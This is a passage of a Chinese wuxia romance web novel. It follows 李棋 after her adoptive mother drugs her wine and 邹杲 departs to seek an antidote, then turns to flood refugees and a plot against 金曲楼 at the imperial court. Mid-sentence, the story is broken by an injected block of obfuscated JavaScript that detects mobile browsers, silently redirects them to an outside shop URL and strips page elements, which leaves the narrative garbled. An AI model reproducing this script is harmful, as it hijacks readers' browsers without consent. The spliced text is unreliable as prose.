一时间,怀里的美女姐姐也不香了,她们喂的美酒更是苦得出奇,但李棋还是喝了很多。 没喝几杯,邹杲称疲累不堪,让王安扶他去休息了。 李棋喝得更猛,直接抢过酒壶仰头就往嘴里灌。 才灌了没几口,不知何时到来的萧逾抢走了她手里的酒壶。 “姐姐,”萧逾关心喊道,欲言又止, 依靠在扶栏上的文蕼倒了杯酒用扇子递到她面前,“小棋妹妹,美酒要细品。” 只见萧逾和文蕼的脸颊上都有未擦干净的红唇印。 李棋笑笑,接过酒细细抿了口,而后吐吐舌头,“哎呀,我粗鄙惯了,小口喝不得劲嘛,”说罢,将杯子里的酒水一饮而尽,萧逾都来不及拦。 萧逾抬手摒退两位斟酒的姐姐,跪坐在李棋身边又给她倒了一杯,乖巧笑着说:“那就半杯半杯喝吧。” 李棋静默看着他,得知萧逾的确是她的弟弟后,李棋更觉他可爱。 她笑着捏了捏萧逾稚气未消的脸颊肉,“那得一直是你倒给我喝才行。” “好。”萧逾脸都羞红了。 “小棋妹妹!” “小棋姐姐!” 叽叽喳喳很是热闹的声音,不回头,李棋都知道是阎绯几人。 回头一看,果然是五人,除了沂源,另外四人脸上都有唇印,多的还有好几个,鸾絮更是印了一个在唇角。 还是除了沂源,另外几人都抱着酒坛走得歪歪扭扭的,好不滑稽。 李棋连忙起身接住跌倒朝她扑来的阎绯和鸾絮。 才说了句慢点,水卉紧接着举着酒坛挤到她们中间,“来,我们今日不醉不归!” “好!不醉不归!” 几人就这么大喝起来。 最后,除了萧逾和沂源,连绿意和青怜都没有幸免,全部都醉了,横七竖八躺着,呼噜声此起彼伏的。 萧逾和没什么表情气氛的沂源对视一眼,都好不头疼。 这时,喊累早早离席的邹杲去而复返,不顾萧逾和沂源的阻拦,他将李棋抱起就走,全程没说哪怕一个字。 倒不是他们不想追上去,尤其是萧逾,恨不得立刻把姐姐抢过来,但纪敏又派了人来,虽然很温和恭敬,但明显将他们拦住。 无奈,两人只能在纪敏派来的人的帮助带领下,将暗秋城酩酊大醉的几人各自送到屋中去安置。 51.辽炀卷·第六章 6 李棋很惜命,喝得其实不算多,但架不住纪敏让人在她喝的酒里加了少量的助眠药物,是以,她此刻完全陷入了深度睡眠。 邹杲将李棋抱上楼,本来打算抱到他的房间去,但纪敏就在楼梯口等着他。 纪敏也不说话,只是居高临下平静看着他。 四目相对,僵持好一会儿,邹杲最终败下阵来。 如此,纪敏才转身走在前面带路。 跟着又上了一层楼,七拐八拐,又跨过几段空中桥梁,才终于到达目的地。 这是一间明显按照李棋的喜好布置的房间,一眼能看出,布置的人显然用了心,更是花了不少功夫。 邹杲将李棋放到宽大柔软的大床上,让她先靠坐在自己身上,一根一根替她拆卸头上的金玉发饰。 小灵狐从李棋身上跳下来,支着小小的身体眼巴巴看着两人。 纪敏也没说什么,只拿来一个木盘放在床边方便他放置卸下来的发饰。 放下木盘,纪敏又转身去端来一盆温水,等邹杲将发饰都卸完,她才再次开口,“你们现在的身份关系,再继续,于情于理都不合适,你先出去吧。” 邹杲身形一顿,但还是没反驳什么,他将李棋放躺下,起身对纪敏说,“我在门口等你。” 纪敏心照不宣‘嗯’了声,算是回应。 邹杲又看向床上的李棋和小灵狐,小灵狐吱吱叫着,像是在纠结到底跟上。 “你就跟着小棋儿吧。”邹杲温柔说罢,摸摸它小小的脑袋,转身快步出去并带上了房门。 金曲楼共由五栋五层高的大厦组成,由五行命名,前面三栋,即金、水、火三栋楼用于对外待客,后面两栋分别是金曲楼两位楼主极其弟子的私人地盘。 后排右边这栋名为木楼,木楼五层一整层都是纪敏的私人空间。 夜晚又稀里哗啦下起了雨,夹带着雨水的风吹得人有些寒冷,但这对邹杲来说却是远水解不了近渴。 不死草中含有极其浓郁的火毒,不然也没法压制极寒的灵狐泪。 但当时情况紧急,李棋顾不得用药水压制不死草的火毒就给邹杲喂下,后邹杲又使用内力,催发了不死草毒性的蔓延。 寒毒完全被压制,此刻但凡有人摸摸他的手,都能感受到他高于常人的体温,这也是小灵狐不再黏他的原因。 不知道等了许久,邹杲伸出手,冰凉的雨水落到他的手心,很快,冰水变成温水,完全达不到降温的效果。 “用这个吧。”不知道过了多久,纪敏端着一盆冰块出现在他身后。 邹杲一愣,很快笑着接了过来,“多谢。” 纪敏嗯了声,在他旁边两步远的位置站立。 她盯着远处看了许久,缓缓开口:“我很早就替你问过了,毒赋的确还没有研究出‘无忧’的解药。如今,成武帝给的起死回生蛊也丢了,你想活,只能带着幽冥蝎尽快赶到虚无岛去。” 邹杲嘴里嚼着冰块,不便说话,只嗯了声。 纪敏转身看向他,叹气道:“你不该服下无忧的,邹稷对你再好,终究是威名赫赫的成武帝,是一国之君,而卸磨杀驴,是帝王最擅长的事。” 她叹了口气,“那支黑玉簪我没近距离看到,也无法确定其中是否真的有那最后一枚起死回生蛊。” “事已至此,有没有都不重要了。”邹杲看向纪敏,“可以现在就告诉我,到底是谁杀害了我的生身父亲吗?” 纪敏定住了,她转身又看向远处,许久,才愧疚道:“我与你的父亲的确是故交,在他遇到邹稷和你母亲之前,他一年至少有三个月都会赖在金曲楼,但有关他和邹稷的纠葛恩怨,我知道的其实并不多。” “我的人很久之前就查到了。”邹杲并不意外,平静说,“但金曲楼以买卖情报闻名,年代久远的事,金曲楼怎么也比我能查到的更多。” 他说罢,从化了大半的冰块中又挑出两块塞到嘴里咔嚓咔嚓咀嚼。 听到这声音,纪敏一顿,许久,又是一声长叹,才终于开口:“你父亲自称拂尘,人称盗圣,圣人的圣。他十七岁那年杀死了他的师父孙老邪,并将梁国皇室组织盗墓机构盗掘他国与前朝皇室贵族墓室的不耻行为捅到了明面上,他被梁国追捕了长达十余年,但这期间,他还是会随机在四国挖盗厚葬坟墓,换成粮食救济平民百姓,盗圣拂尘的名号因此闻名江湖。” 邹杲点点头,表示这些他知道。 但纪敏还是不急不缓,自顾自又说,“他第一次出现在金曲楼是冬天,那时的他真的很狼狈,极大一部分叫花子都比他好些,我们好心给了他衣物和食物,他却赖上了金曲楼,靠着脸皮在金曲楼白吃白喝白住了很长一段时间。” “有一天,我们习惯性开玩笑赶他,他却不再像从前一样嬉皮笑脸讨饶,而是一本正经说正要和我们道别,让别想他,问他要去干什么,也神秘兮兮的不说,当天夜里,他就摸黑离开了。也是他走了的第二天,我们才从他留下的书信中知道,他就是梁国皇室开大价钱在江湖上悬赏的盗圣拂尘。亮闪闪的金山就这么从眼皮子底下溜走,我们肠子都悔青了,当即去找,” 听到这,邹杲不由好笑。 纪敏没好气白他一眼,“欠揍得要死,也就是后面几次都匆匆而别,不然我一定要让他吃点苦头。” 邹杲笑着耸耸肩,表示自己没意见。 纪敏又瞪他一眼,才继续说:“一个多月红,我们在鄂阳的线人传回消息,说在你母亲晚樱公主代表赵国嫁给彼时还是嬴国皇子的邹稷联姻的第二日,他出现在信阳,并从嬴国当时的皇帝秘密派出的追兵手下拐走你母亲和邹稷,带着两人以劫富济贫为名四处盗掘坟墓,被不少势力追得好不狼狈。” 邹杲笑意更甚,仿佛通过她的描述看到了当年的些许鲜活画面。 纪敏语气变得轻松,同时带上浓浓的不解,“你的母亲是个活泼可爱又温柔优雅的公主,真不理解,她是怎么在这个过程中,非你父亲这个老光棍不嫁的。” 邹杲只笑不语,纪敏也笑了会儿,情绪急转,低落许多。 “他们没能逍遥太久,大约两年后,邹稷被找到并带回信阳,你父亲和你母亲销声匿迹了一段时间,再后来……据、我故友所说,你母亲怀上了你后,你父亲带着她定居在信阳郊外的姜家村,两人挂名在一个孤寡老头的名下,自称是老头早年离家的儿子,显然是想就此隐姓埋名,过男耕女织的普通生活,” “但很不幸,你母亲怀有你五个月的时候,你父亲收到了一封来自嬴国皇宫加急的密信,当他,他便丢下你和你母亲离开了姜家村。三个月后他再出现,已经是一具尸体,你的母亲因为忧伤过度早产,虽然有惊无险诞下了你,却也伤了根基。” 沉重的氛围下,两人沉默了良久。 同样的沉默,两人的情绪却天差地别。 纪敏像是惆怅又悲痛,许久,她自嘲笑了笑,才又继续,“我那位故友并未见到你父亲的尸体,只知道让你秘密母亲见过之后,邹稷便亲自将你父亲的尸体焚烧,只余一捧灰烬埋葬在姜家村。 虽然邹杲只在母亲的画笔下见识过父亲的模样,但随着纪敏的讲述,那素未谋面的父亲好像在他脑海中活了过来,每一阶段,都有了大概的轮廓。 纪敏说完,见邹杲望着远处不语,他手里的一盆冰块完全化成了水,甚至隐隐冒出热气,她心中一惊,上前抓起他的手臂大力点按在他的神门穴上。 一阵电闪雷鸣,邹杲一惊,这才回过神来。 “多谢。”他说着抽出手,又想拿冰块咀嚼,才发现一盆冰块已经化成了水,他一时茫然,似乎不知道该怎么办才好。 纪敏接过将水泼倒出去,又转身将盆放到身后,这才又看向邹杲说:“还想活的话,你明日便带上你的人出发去虚无岛吧。” 不等邹杲说什么,她又说:“小七儿伤得太重,又服用太多归元丹透支了太多元气,想要恢复个七七八八,少说也得休养一两个月,她再陪着你助力不大。” 邹杲点点头没说什么,沉默好一会儿,纪敏都打算走了,他却突然开口问:“你们放弃了,还是转变策略了?” 邹杲其实不知道纪敏和毒赋到底有什么目的,但两人有所图,这是傻子都能看出来的。 纪敏身形一定,随后是长久的沉默。 她回头看向李棋所在的房门,声音很低,回答的内容似是而非,但绝没有商量的余地,“以小七儿现在的情况,再陪着你可能会丧命。” 邹杲也转身面向李棋的房门,语气温和低缓,“我没想小棋儿再陪我冒险,只是出于感谢,询问一句,看能不能帮上你的忙。” 纪敏狐疑看了他许久,语气才舒缓一些说,“你活着就是帮了我最大的忙了。” 邹杲不置可否挑眉,她又说,“我会派人暗中保护你的。” 邹杲摇头,笑着婉拒,“这倒不必,瘦死的骆驼比马大,我还没落魄到无人可以驱使的程度。” 纪敏笑笑,没和他争辩,显然有自己的打算。 邹杲不知道想到了什么,看向纪敏谦和道:“我还有一件事很好奇,前辈可以看在小棋儿的面上为我解解惑吗?” 纪敏看向他,虽没有说什么,表情显然是让他说说看,但回不回答她看情况。 邹杲也没藏着掖着,直白问道:“小棋儿的师兄子瞮,是你的儿子吗?” 纪敏一愣,像是没想到他会这么直白的问这个问题。 她许久没有言语,邹杲知道,今晚不可能再从纪敏嘴里得出答案了。 “天一亮我就出发,有劳前辈命人为我准备一些干粮和一匹马。” 听到纪敏应好,邹杲拿着盆转身离开,见状,纪敏提醒又说:“冰窖在水楼地下。” “能猜到。”邹杲轻笑说着,转身大步离去。 看着他远去的背影,纪敏终究还是又说句:“你可以去找找浩然山庄江沁月,她与你父亲似乎也是旧识,与你母亲情同姐妹,也跟着他们盗了好几个墓。” 邹杲脚步一顿,身形僵在原地,但很快,他就看不出任何太大异样地回头,真诚道谢,“谢前辈指路,晚辈告辞。” 纪敏点点头,目送他离去。她又在原本静立许久,而后才转身进了李棋的房间。 * “吱吱,吱吱,吱吱吱——” 李棋被小灵狐急切的叫声吵醒时还迷迷糊糊的,“唔,小七儿,你好吵啊。” 她的眼睛都还有些睁不开,像是被什么黏住了一样,只摸索着去抓小灵狐,可她一抬手,却发现有什么东西被牵动,小灵狐的叫声急切中还多了点惊慌。 她大惊,一个鲤鱼打挺起身坐立,并猛地睁开了眼睛,她随即发现,不知道是谁,竟然将小灵狐的双手双脚都绑了起来,嘴巴也被勒住,而后又用一条稍长一些的系在了她的手指上。 “小七儿……谁把你捆成这样的?”李棋连忙给它解绑,“你不是一向和邹杲形影不离吗…该不会是邹杲那个混蛋吧!” 李棋骂着,也将小七儿身上的布条都解开了。 小七儿又叫又跳,像是想带她去什么地方。 李棋大惊,心道是不是邹杲出什么事了,下床鞋都顾不上穿好,路过屏风时扯下上面的衣物边穿边跟着小七儿往外跑。 跑出房间拐过拐角,只见纪敏正坐在空中花园里喝茶吃点心。 李棋快步跑过去,“娘亲,邹杲住哪,他可能出事了……” 话没说完,纪敏手一挥,叽叽喳喳叫个不停的小灵狐被她宽大的衣袖裹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16789417|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挟。 只见她逗弄着小灵狐,淡淡说:“这只灵狐是我绑的。” 李棋一愣,傻呆呆问:“要对邹杲不利的是娘亲你?” 纪敏也是一愣,她猛地转身抬头看向李棋,见李棋没有后退或是有对她出手警惕的迹象,才压住笑意说:“没人对邹杲动手。” 她伸手拉了拉李棋的衣裙,示意她坐下来,才笑着又说,“在金曲楼,只看在你的面子上,也没人敢对他动手。” 见纪敏不像是在说谎糊弄她,李棋才松了口气,一屁股跌坐在她脚边,端起她的花茶喝了一大口,才心有余悸道:“那就好,吓死我了。” 她奇怪又问:“既然邹杲没事,小七儿怎么叫得这么厉害?以至于娘亲你……” 后面的话她嘿嘿笑着没说出口,从纪敏手里接过小灵狐,伸出一根手指轻点着小灵狐的脑袋,笑骂:“快从实招来,你是不是趁我睡觉,干了什么坏事惹娘亲生气了?” 小灵狐吱吱叫得依旧急切,还想挣脱李棋的束缚。 李棋眉头皱起,正要再说它几句,却听纪敏淡淡说:“邹杲走了,它想喊你一起去追,而我想让它留在金曲楼陪着你,所以把它绑在了你手上。” “什么!?”李棋猛地站了起来,“邹杲走了!他走哪儿去?” 纪敏仰头看着她,神色平静,“他身中剧毒性命之危,自然是去找解药。” “我是问他怎么自己一个人走了不等我!” 李棋没控制住音量高了些,见纪敏愕然,她一阵懊悔,但话已经说出口,她愣了愣,自言自语又说,“他一个人,还是个病秧子,师父让我送他去虚无岛的,不行,我得去追他……”她混乱说着,转身就想去追邹杲,却被纪敏先一步抓住手腕拦住了。 “他不是一个人走的。”纪敏冷漠又说,“人家唯一一个大名鼎鼎的异姓王,你舍命保护他走了这么远,他却都无意等你醒来和你告别,你还眼巴巴追上去做什么。” 李棋如遭雷劈,她错愕回头看着纪敏,难以想象这些话是从她嘴里说出来的。 见纪敏没有半分懊悔的意思,她不由觉得好笑,也大笑出声,“楼主大人,你现在对我说这些话未必太好笑了。在瀚海城,在我决定只将邹杲当做妹夫看待的时候,是你写信肯定告诉我,邹杲找的人是我,也是你告诉我,等我帮你做完你要做的事,你帮我得到邹杲。” “是,我就是喜欢邹杲,我就是贱得上赶着追他。但是一码归一码,怎么,你利用完我就嫌弃上了?就算你我没有血缘关系,这么多年的母女情分就都是假的吗?”她本来想冷漠寡情,但说着说着就哭了。 纪敏很是愕然,她没有这个意思,但见李棋把自己说哭了,她才轰轰冒出的火气也散了个干净。 她上前强硬将眼泪直流、挣扎不已的李棋抱入怀中。 李棋继续挣扎,哭着放狠话,“放开我,既然如此,从今日起,你我断绝母女关系,从今以后……” “小七儿,是娘亲说话重了,对不起,但我没有你说的那个意思。邹杲之后的路只会更加凶险难走,而你又身受重伤,你再跟着,一定会是非死即伤。小七儿,你要理解我作为母亲的忧心。” 李棋泣不成声,纪敏温声安抚许久,她的哭声才轻了些。 纪敏拉着她坐下,一边伸手替她抹去泪水,一边说:“你伤得太重,想杀邹杲的、觊觎和你挂钩的梁国宝藏人实在太多太多,你陪着邹杲非但没法帮他,还有可能丧命,留在金曲楼,我至少还能护你周全。” 话虽如此,李棋还是难免担心邹杲,“那邹杲怎么办,他不能再动用内力,没有我保护他,他撑不了太久的。” “你未免把邹杲想得太弱。”纪敏笑着捏了捏她清减许多的脸颊肉,“也把自己想的太强大。” “你和邹杲这一路走来见到的多是些乌合之众,人外有人,天外有天,天下高手如过江之鲫,比你厉害的太多太多了,他们没出现,只是还在等更多的筹码而已。” “那我更得去帮邹杲了啊。”李棋说着就要起身,纪敏再一次抓住她。 纪敏冷声问:“我从小教导你什么?” 李棋从小就最怕娘亲冷脸,条件反射回道:“没有什么比我的命更重要,无论遇到什么人、发生什么事,永远要把我的安危放到第一位。” “既然还记得,你就乖乖听话,先把伤养好再说。” 李棋被她严肃的神态唬住,再次想起师父,才有底气又说道:“可是师父让我陪邹杲一起去虚无岛,邹杲活着去到虚无岛还好,要是没能活着去到虚无岛,师父一定会生我的气,说不定还会因此把我逐出师门的。” 纪敏却讥讽笑道:“他可是杀了你的父母,你不找他报仇雪恨都算好的了,他有什么脸面把你逐出师门。” 闻言李棋又是一愣,一时五味杂陈,都顾不上别的。 虽然她不记得了,但只听萧逾的描述,萧家被灭门那晚必定是尸横遍野、悲惨至极。 她为人子女,应该去找到仇人,将其杀死以报父母生养之恩的。 但那个人偏偏是她的师父,是师父呵护备至将她养大,也是师父直接或间接传授了她这一身学识和武功。 她哪里下得去手。 “娘亲,师父…他为什么会对我那么好呢?”说着,她又有些想哭。 纪敏摸摸她的脑袋,叹息道:“都是上一辈造的孽,马上就会过去了。” 李棋扑进她怀中,泪眼朦胧仰头看着她,“真的能过去吗?” “可以的,乖,回屋去穿好衣服,不想睡就去马厩看看你的马,邹杲带着他那匹马走后,你那匹马躁动得很是厉害,我让人硬给它灌了些迷药,估摸也快醒来了。” 李棋带着哭腔应好,被纪敏牵着回屋去了。 52.辽炀卷·第七章 7 纪敏喊来了幻樱幻竹两位师姐,三人一齐帮李棋梳妆打扮,不一会儿的时间,李棋便变成了娇俏富丽的小公主。 一如每年她过生日前后那般。 婉言拒绝了两位师姐要陪她一起的好意,李棋带着小七儿前往马厩。 玄翼被安置在一个大铁笼之中,它的确已经醒了,李棋去的时候,正不要命的撞墙,背脊都已经撞破了皮。 看到李棋,它逐渐停了下来,水汪汪的眼睛看着李棋,叫得好不委屈。 “把笼子打开。”李棋对饲马人说。 饲马人有些顾虑,“小姐,这马太烈,跑得又快,您那位朋友又带着他的马走远了,马儿再跑出去,恐怕就寻不回来了。” “不会,把笼子打开吧。” 李棋这话心里并没有底气,但她还是接过饲马人递来的钥匙,上前将锁链解开了。 门还没开,玄翼就迫不及待想出来,李棋甚至自暴自弃心想,玄翼要去找邹杲就去吧,连带小七儿一起,都走好了。 但出乎意料的,玄翼跑出去几步见李棋没跟上它后,又倒了回来。 它用脑袋撞了撞李棋的腰,像是问她怎么不跟它一起去找千赤和邹杲。 李棋摸摸它的脑袋,声音有些哽咽,“玄翼,我受伤了,暂时没法去找邹…没法带你去找千赤。” “你乖一些,等我养好伤,你再带我去找千赤好不好?” 玄翼听不懂,急切的来回走动,还想推着她走。 都推着李棋挪动了好远,见李棋实在没有要走的意思,它一尥蹶子,像是生闷气了,原地趴了下来,也不看李棋。 它尥蹶子的时候给饲马人和远处看着的纪敏都吓了一跳,只有李棋原地没有动作。 李棋心疼又高兴,她蹲下摸摸玄翼的脑袋,“乖,我会尽快养好伤的。” 小灵狐顺着李棋的手臂几步跳到玄翼脑袋上,像是也想让李棋摸它。 李棋自然雨露均沾,低落的心情也终于缓和一些。 又喂玄翼吃了些精草料,李棋正要回屋运功疗伤,阎绯五人人未到声先至,找了过来,说要和她切磋切磋。 李棋只想好好养伤,但五人笑得一个比一个热烈恳切,李棋根本说不出拒绝的话,于是和他们说好,只比拳脚功夫,不动内力。 他们自然应允,当即拉着李棋找了个地方就动起手来。 不多时,萧逾和文蕼也闻讯找了过来。 李棋从一对五变成了和萧逾文蕼三对五,顿觉轻松许多。 但亏损太多的身体的确远远比不上从前,不过好在有萧逾和文蕼为她护住左右,八人打得倒也还算进行。 然而,第三日,阎绯五人也再一次被师门的乌鸦召回。 彼时正是深夜,八人围坐在顶楼阁楼中一边猜谜一边喝酒,听闻乌鸦是来催他们回去的,不等李棋三人起身去送,五人先一溜烟跑进雨幕中,顷刻间不见了身影。 少了五个人,瞬间冷清很多,幻樱幻竹两位师姐太忙,没空搭理她,于是,李棋又把绿意和青怜两位姐姐拉来陪她们一起玩。 可是,到第八日,萧逾和文蕼也收到师门的来信,让他们十日之内赶回逍遥门,否则就当没有他们这两个徒弟。 如此,两人也不得不先回师门去。 这次,李棋有机会撑着雨伞送两人到城门口。 也的确如纪敏说的那般,才离开金曲楼的地段,她就感受到不少不善的目光。 萧逾两人显然也感受到了。 眼看马上到城门口,萧逾停下脚步对她笑着说:“姐姐,雨越来越大,就送到这儿吧。” 文蕼也应和说:“小棋妹妹不是说明年会回玄林过生辰吗,那最晚明年二月,我们也能再次相见了,几个月而已,很快的,到时候,我们再喝个尽兴、玩个痛快。” “好!”李棋也跟着笑。 绿意和青怜将蓑衣斗笠拿过来,两人将雨伞递给它们先帮忙拿着,然后接过穿上,等他们穿戴好,李棋则亲自将两匹马儿的缰绳递给两人,“一路顺遂。” 文蕼也笑道:“玄林再见!” 萧逾忍不住又叮嘱:“姐姐,那我们先走了,你一定要多加小心,最好待在金曲楼哪儿也别去。” 李棋自然笑着应好,文蕼催促一声说‘师弟,该走了’,萧逾才依依不舍上马。 两人回头冲她笑着招招手,才扬鞭策马而去。 目送两人的身影消失在视野中,青怜才说:“小姐,上车吧。” 李棋摇头,看向城门外,倾盆的大雨下,若干衣衫褴褛的人被守城士兵拦在门外,其中不乏老人小孩,李棋甚至看到一个挺着不小的肚子的女人。 “怎么这么多人,銮城也受灾了吗?” 绿意点头,叹息回道:“被去年那则童谣说准了,銮城外郊凉水河两岸好多地方都被大水淹了。雨不见停,房屋被大水吞噬,这些人只能就近往城中跑,之前都没有严查,但前日,有草莽假冒流民混进城中抢劫杀掠,府兵不得不加大查验力度,哎……这样一来,就苦了这些人了。” 青怜义愤填膺压低声音骂道:“那些趁乱打劫的草莽罪该万死不错,但那些当官的更是没几个好人,几乎天天宿在金曲楼,能有办实事就怪了。” 绿意一惊,连忙劝道:“青怜,小心祸从口出。” 青怜依然不服,但声音却压得更低了一些,她撇嘴道:“我又没乱说,銮城是接受了不少受灾的百姓不错,但只要去北街看看就知道,进城来也没多少饭吃,官府发放的那东西说是粥,实际还没我们金曲楼滤过的米汤稠。要不是有咱金曲楼施发粥药,每日饿死病死的,少说上百人。” 她难过又说:“就算有金曲楼出面,每日也还是有一二十人死去。” “尸体怎么处理的?”李棋有些担忧,“走,我们去北街看看。” 绿意一听慌了,一步上前张开双臂挡住李棋的去路,“小姐,大楼主交代过,让你送走两位公子就立刻回去,北街那种鱼龙混杂的地方,你万不能贸然前去啊。” 青怜闻言也终于想起了纪敏的交代,“小姐,奴婢的确希望你能救救这些可怜人,但若是要搭上你的安危,这些人不救也罢。” 李棋看看青怜,又看看绿意,再一看城外的众多奋力求生的人,她长叹一声,“先回去吧,我先去求求娘亲再说。” 两人一听都松了口气,同时也大喜过望。 她们也都是孤苦之人,因为不同的原因流离失所,幸得金曲楼庇护,才吃穿不愁,不至于流落在外。 如今看到这些流民,两人难免共情,奈何她们人微言轻、力所能及的帮助也根本就是九牛一毛,若金曲楼能出面,那肯定能救下更多的人。 * 回到金曲楼,李棋一番寻找,才在金曲楼小楼主的房间找到纪敏。 小楼主本名戎峥,三四十岁的模样,深邃立体的眉眼与那一头卷曲的红发都不似四国人,但他英俊异常,又精通音律,江湖人称琵琶仙,人如其名,一把琵琶被他使到出神入化,既是乐器,也是武器。 “娘亲,峥叔,我没耽误你们商量大事吧?”李棋话虽这么说,人已经扒开门缝憨笑着挤了进去。 纪敏没好气冷脸哼骂:“你这话是不是说得太晚了些。” 戎峥倒了杯茶,和煦笑着朝她招手,“刚送走你朋友回来吧,渴不渴,冷不冷,过来坐下先喝杯热茶。” “我都快渴死了。”李棋笑逐颜开,夸张说着,几步上前接过温热的茶水,“谢谢峥叔。” 说罢,她仰头将茶水一饮而尽。 戎峥担忧道:“慢点,小心呛着。” “谢峥叔关心,我没呛着,嘿嘿。”李棋笑着在两人中间挨着纪敏坐下,又厚着脸皮将杯子递到戎峥面前,“峥叔,这是茶还是药啊,香香甜甜的,好像还有好几味大补的药材,好好喝,我还想要。” 说着,双手捧着杯子又递到了戎峥面前。 戎峥笑着没说话,只拿起茶具又要倒一杯给她,但被纪敏拦了下来。 纪敏瞪戎峥,“你这茶汤里滋补的猛药太多,她虚不受补,你想炫耀,给她喝一杯尝尝就行了。” 戎峥好笑道:“瞧你这紧张的模样,难得求来的药茶,我还能用来害小七不成。” 他一本正经又说,“不破不立,说不定小七喝了我的药茶就一举恢复了呢。” 纪敏反驳,“本可以慢慢休养好的伤,没必要冒险求急。” 两人看着彼此,谁也不让步,无声较量着。 李棋看看娘亲,又看看戎峥,默默将杯子收了回来。 她憨笑道,“好酒不贪杯,好的药茶也是,”她举起手臂,“峥叔,我可以申请一天一杯吗?” 两人都被她这憨样逗笑了,剑拔弩张的气氛就此散去。 “好,每日午时,你来我这喝。” 纪敏严肃叮嘱,“一日一杯,不可贪多。” 两人齐声应好。 纪敏又看向李棋,“找我有什么事?” 闻言,刚倒了一杯茶端着慢慢品尝的戎峥也看向了李棋。 李棋只觉自己已经被他们看穿了,又觉得自己善心大发不该假手他人,尤其不该给长辈带来麻烦,但她一个人的力量又的确微不足道,不足以成事。 “这么为难,那等你想好了再……” 见机会就要没了,李棋惊呼出声,“娘亲!” 察觉到两人非但不觉生气,还一脸好笑,李棋才意识到两人这是在逗她呢。 她抱住纪敏的胳膊,往她身上拱了好几下,才嗔怨道:“娘亲,你和峥叔也太坏了吧。” 两人更是笑出了声。 片刻,又听严肃戎峥道:“金曲楼在銮城名声再大,但銮城终究是皇帝的銮城,喧宾夺主,恐会引火烧身。” 纪敏摸摸她的脑袋,“我们能做的,也只是施些粥药。盛世人命亦如草芥,何况天灾面前。” 见李棋面露难过,她看向戎峥,“要不这样吧,每日再多拿出两石粮食用于施救,小楼主,你认为呢?” 李棋闻言也眼巴巴看向戎峥,戎峥哭笑不得,“我怎么感觉你们母女俩在给我做局呢?我好像也没有说不的机会了。” 他说着严肃了些,“不过,授人以鱼不如授人以渔,金曲楼也该纳入些新面孔了。” 纪敏点头,“下午我亲自去挑选。” 李棋眼珠滴溜一转,心道机会来了,连忙抱住纪敏的胳膊撒娇,“娘亲,我能和你一起去吗?” 纪敏还没说话,外面爆发出一阵喧闹,喧闹中还有不少的马蹄声和嘶鸣,三人都是一惊。 见纪敏快步赶到窗边,李棋也连忙跟上去,想起戎峥腿脚不便,又倒回来打算推他过去,戎峥笑着摆摆手,李棋才作罢,只自己跟了过去。 是一队少说有一千人的府兵,他们骑在马上,暴力驱赶着路上本就稀少的城民,以极快的速度往主城门的方向赶去。 “幻竹,”纪敏话音刚落,幻竹就推门进来了。 纪敏冷声问:“发生什么事了?这么大的动静,底下的人就一点没察觉不对?” 幻竹面露难色,“严进宽出的城令影响了我们的信息传递……徒儿这就亲自去查探。” 纪敏脸色难看,但还是叮嘱了一句,“注意安全。” 幻竹应好,眨眼,矫健的身形消失在雨幕下的屋顶之间。 李棋犹豫着要不要劝一劝时,戎峥已经开口了,“你我这段时日对下都太宽容了些。” 李棋心说峥叔你这不是火上浇油吗,正想开口让戎峥别再说了,又听纪敏喊道:“绿意、青怜,” 守在门外的两人立刻小跑进屋,“奴婢在。” “娘亲……” 李棋的话被纪敏冷峻的吩咐打断,“带小姐回屋休息。吩咐下去,没有我的允准,敢放小姐离开金曲楼者,千刀万剐、不死不休。” “娘亲,还不确定具体发生了什么,不用这么草木皆兵……” 纪敏再一次出声打断她,“你们聋了,还不快带小姐回屋去。” 两人大惊,连忙起身,一左一右搀着李棋,将她架了出去。 戎峥对李棋露出了一个安抚的笑容,但不等李棋说什么,他先催发内力一掌关上了门。 * 才被绿意、青怜带回屋中,几个高大的男子也来到她的房门口,一问,都说是楼主喊来保护她的。 无奈,李棋只得乖乖待着屋里,又喊绿意、青怜去打探消息。 李棋等得心急如焚,天都快黑了两人才姗姗来迟。 李棋接过绿意手里的餐盘放在桌子上,拉着她的手问:“怎么样?打探到什么消息了吗?” 绿意摇头。 就听后一步回来的青怜道:“大楼主说是朝廷的赈灾粮被草寇截了,百姓们知道后难免恐慌暴动,让小姐你这些时日千万别出门。” 李棋上前抓住她的手问:“知道具体是运往哪里的赈灾粮吗?有多少数量?” 青怜摇头。 绿意拿出餐盘里的三菜一汤摆放好,挤出笑意安抚道:“小姐,有楼主们在,金曲楼不会有事的,咱们先吃晚饭吧。” 李棋闻声看向今日的餐食,三菜一汤,缩减了三倍不止,也不如之前的精致,一定不止是赈灾粮被劫那么简单。 虽然意识到了,她还是决定先乖乖吃饭。 * 与此同时,鄂阳皇宫。 成武帝将快马加鞭送回的帛书重重往地上一扔,“休战才几个月,威名在外的神武军竟然被一群不知名的草寇打得毫无还手之力,也不怕传出去被人笑掉大牙。” 李卓上前捡起帛书,和另外三公以及颍王依次看完后,又交给赵英等人传阅。 看罢,众人一时都说不出话来。 虽然神武军只有两百人,但被草寇打得落花流水,还丢了从瀚海城搜罗来、要送往利州的一批珍贵药材,实属不该。 原来,五日前,比邹瑅到达利州的消息先传回来的,是利州大面积爆发疫病的消息。 成武帝大惊,连忙加派人马,从各地搜寻药材送往利州。 谁料,从瀚海城搜罗来的一批珍稀药材才刚到銮城的地界,就被草寇抢夺而去。 半晌,只听韩威道:“陛下,一般草寇定然不是神武军的对手,事发在銮城地界,恐怕就不是一般的草寇作乱啊。” 暂代少府之位的睿王邹珏适时道:“銮城与鄂阳相隔六百里不到,金曲楼又坐落在銮城之中,若此事系金曲楼假扮草寇所为,其狼子野心,昭然若揭。” 邹珣道:“父皇,儿臣认为此事无论是否为金曲楼所做,这都是消灭金曲楼的最好时机。” 成武帝不语,只用仿佛能洞察人心的凌厉双眸审视着众人。 